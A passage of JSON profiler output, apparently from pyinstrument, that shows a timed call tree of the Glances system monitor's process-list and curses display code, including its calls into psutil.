{\"cProcess\": 0.001997084000322502, \"l382\": 0.001997084000322502},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997084000322502, \"l1138\": 0.001997084000322502},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997084000322502, \"l1593\": 0.001997084000322502},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997084000322502, \"l1882\": 0.001997084000322502},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001140001113527, \"l939\": 0.0020001140001113527},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001140001113527, \"l1593\": 0.0020001140001113527},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001140001113527, \"l2052\": 0.0020001140001113527},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001590997679159, \"l382\": 0.002001590997679159},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001590997679159, \"l1138\": 0.002001590997679159},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001590997679159, \"l1593\": 0.002001590997679159},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.005998,\"attributes\": {\"cProcess\": 0.005997665000904817, \"l639\": 0.005997665000904817},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.005998,\"attributes\": {\"cProcess\": 0.005997665000904817, \"l314\": 0.005997665000904817},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.005998,\"attributes\": {\"cProcess\": 0.005997665000904817, \"l347\": 0.005997665000904817},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998070998932235, \"l394\": 0.003998070998932235},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998070998932235, \"l1593\": 0.003998070998932235},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999642998271156, \"l1857\": 0.001999642998271156},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999642998271156, \"l1593\": 0.001999642998271156},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999642998271156, \"l375\": 0.001999642998271156},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999642998271156, \"l1687\": 0.001999642998271156},\"children\": [{\"identifier\": \"bytes.rfind\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002000,\"attributes\": {\"l824\": 0.002000143002078403},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002000,\"attributes\": {\"l773\": 0.002000143002078403},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_pid_time_and_status\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000530\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0020003589961561374, \"l538\": 0.0020003589961561374},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001999,\"attributes\": {\"cGlancesProcesses\": 0.0019993169989902526, \"l689\": 0.0019993169989902526},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001999,\"attributes\": {\"l589\": 0.0019993169989902526},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001999,\"attributes\": {\"l584\": 0.0019993169989902526},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001999,\"attributes\": {\"cpgids\": 0.0019993169989902526, \"l478\": 0.0019993169989902526},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.002001738001126796, \"l155\": 0.002001738001126796},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002002,\"attributes\": {\"cGlancesProcesses\": 0.002001738001126796, \"l711\": 0.002001738001126796},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002002,\"attributes\": {\"l69\": 0.002001738001126796},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002002,\"attributes\": {\"l34\": 0.002001738001126796},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007998,\"attributes\": {\"cProgramlistPlugin\": 0.007997701999556739, \"l677\": 0.0019986180050182156, \"l678\": 0.005999083994538523},\"children\": [{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.001999,\"attributes\": {\"l132\": 0.0019986180050182156},\"children\": [{\"identifier\": \"dict.keys\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005999,\"attributes\": {\"cProgramlistPlugin\": 0.005999083994538523, \"l633\": 0.005999083994538523},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.005999,\"attributes\": {\"cProgramlistPlugin\": 0.005999083994538523, \"l619\": 0.004007692994491663, \"l621\": 0.0019913910000468604},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002055,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001952,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001991,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u0000179\",\"time\": 0.002002,\"attributes\": {\"cGpuPlugin\": 0.002001551001740154, \"l182\": 0.002001551001740154},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002002,\"attributes\": {\"cGpuPlugin\": 0.002001551001740154, \"l678\": 0.002001551001740154},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002002,\"attributes\": {\"cGpuPlugin\": 0.002001551001740154, \"l634\": 0.002001551001740154},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002002,\"attributes\": {\"cGpuPlugin\": 0.002001551001740154, \"l629\": 0.002001551001740154},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002001,\"attributes\": {\"cAmpsPlugin\": 0.0020014999972772785, \"l1278\": 0.0020014999972772785},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002001,\"attributes\": {\"l1295\": 0.0020014999972772785},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/amps/__init__.py\\u000050\",\"time\": 0.002001,\"attributes\": {\"cAmpsPlugin\": 0.0020014999972772785, \"l58\": 0.0020014999972772785},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/amps_list.py\\u000087\",\"time\": 0.002001,\"attributes\": {\"cAmpsList\": 0.0020014999972772785, \"l94\": 0.0020014999972772785},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009996,\"attributes\": {\"cProcesslistPlugin\": 0.009996222004701849, \"l678\": 0.009996222004701849},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019983570018666796, \"l633\": 0.0019983570018666796},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019983570018666796, \"l621\": 0.0019983570018666796},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.003999808999651577, \"l656\": 0.002004178997594863, \"l633\": 0.001995630002056714},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.001995630002056714, \"l623\": 0.001995630002056714},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002002,\"attributes\": {\"cMemswapPlugin\": 0.0020019899966428056, \"l1276\": 0.0020019899966428056},\"children\": [{\"identifier\": \"is_enabled\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000314\",\"time\": 0.002002,\"attributes\": {\"cMemswapPlugin\": 0.0020019899966428056, \"l319\": 0.0020019899966428056},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.058073,\"attributes\": {\"cGlancesCursesStandalone\": 2.0580734020040836, \"l1154\": 0.046000738999282476, \"l1169\": 1.0072290380048798, \"l1172\": 1.0048436249999213},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.046001,\"attributes\": {\"cGlancesCursesStandalone\": 0.046000738999282476, \"l1135\": 0.046000738999282476},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.046001,\"attributes\": {\"cGlancesCursesStandalone\": 0.046000738999282476, \"l569\": 0.043998809000186156, \"l598\": 0.002001929999096319},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.043999,\"attributes\": {\"cGlancesCursesStandalone\": 0.043998809000186156, \"l545\": 0.043998809000186156},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.043999,\"attributes\": {\"cProgramlistPlugin\": 0.01799885799846379, \"l1101\": 0.043998809000186156, \"cProcesslistPlugin\": 0.025999951001722366},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.043999,\"attributes\": {\"cProgramlistPlugin\": 0.01799885799846379, \"l587\": 0.043998809000186156, \"cProcesslistPlugin\": 0.025999951001722366},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.043999,\"attributes\": {\"cProgramlistPlugin\": 0.01799885799846379, \"l538\": 0.038001204004103784, \"l531\": 0.0019979079952463508, \"cProcesslistPlugin\": 0.025999951001722366, \"l544\": 0.002000489999772981, \"l537\": 0.0019992070010630414},\"children\": [{\"identifier\": \"_get_process_curses_nprocs\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000172\",\"time\": 0.002011,\"attributes\": {\"cProgramlistPlugin\": 0.0020110960031161085, \"l175\": 0.0020110960031161085},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019909740003640763, \"l309\": 0.0019909740003640763},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019909740003640763, \"l856\": 0.0019909740003640763},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019909740003640763, \"l963\": 0.0019909740003640763},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001991,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996933999180328, \"l325\": 0.001996933999180328},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996933999180328, \"l885\": 0.001996933999180328},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.001996933999180328, \"l910\": 0.001996933999180328},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.00200005999795394, \"l309\": 0.00200005999795394},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.00200005999795394, \"l855\": 0.00200005999795394},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.00200005999795394, \"l963\": 0.00200005999795394},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000058004341554, \"l325\": 0.002000058004341554},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.002000058004341554, \"l857\": 0.002000058004341554},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001469998504035, \"l361\": 0.002001469998504035},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001469998504035, \"l351\": 0.002001469998504035},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.004003,\"attributes\": {\"cProgramlistPlugin\": 0.0020004309990326874, \"l325\": 0.004003125002782326, \"cProcesslistPlugin\": 0.002002694003749639},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.004003,\"attributes\": {\"cProgramlistPlugin\": 0.0020004309990326874, \"l882\": 0.0020004309990326874, \"cProcesslistPlugin\": 0.002002694003749639, \"l885\": 0.002002694003749639},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020004309990326874, \"l902\": 0.0020004309990326874},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.002002694003749639, \"l907\": 0.002002694003749639},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.002002694003749639, \"l991\": 0.002002694003749639},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997820996621158, \"l309\": 0.001997820996621158},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997820996621158, \"l882\": 0.001997820996621158},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997820996621158, \"l902\": 0.001997820996621158},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001998,\"attributes\": {\"cGlancesThresholds\": 0.001997820996621158, \"l50\": 0.001997820996621158},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999930005695205, \"l325\": 0.001999930005695205},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999930005695205, \"l885\": 0.001999930005695205},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999930005695205, \"l907\": 0.001999930005695205},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999930005695205, \"l991\": 0.001999930005695205},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994379981653765, \"l309\": 0.0019994379981653765},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994379981653765, \"l885\": 0.0019994379981653765},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994379981653765, \"l910\": 0.0019994379981653765},\"children\": [{\"identifier\": \"set\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u000049\",\"time\": 0.001999,\"attributes\": {\"cGlancesActions\": 0.0019994379981653765, \"l51\": 0.0019994379981653765},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000779986730777, \"l440\": 0.0020000779986730777},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000779986730777, \"l290\": 0.0020000779986730777},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000779986730777, \"l963\": 0.0020000779986730777},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999385996896308, \"l309\": 0.001999385996896308},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999385996896308, \"l856\": 0.001999385996896308},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000293003220577, \"l360\": 0.002000293003220577},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000293003220577, \"l340\": 0.002000293003220577},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020011879969388247, \"l309\": 0.0020011879969388247},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020011879969388247, \"l856\": 0.0020011879969388247},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020011879969388247, \"l965\": 0.0020011879969388247},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003129975521006, \"l309\": 0.0020003129975521006},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003129975521006, \"l848\": 0.0020003129975521006},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001929999096319, \"l819\": 0.002001929999096319},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 